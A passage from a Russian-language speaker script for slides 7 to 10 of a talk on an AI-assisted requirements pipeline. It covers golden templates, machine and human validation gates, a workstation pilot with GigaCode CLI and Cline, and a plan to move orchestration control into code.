\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 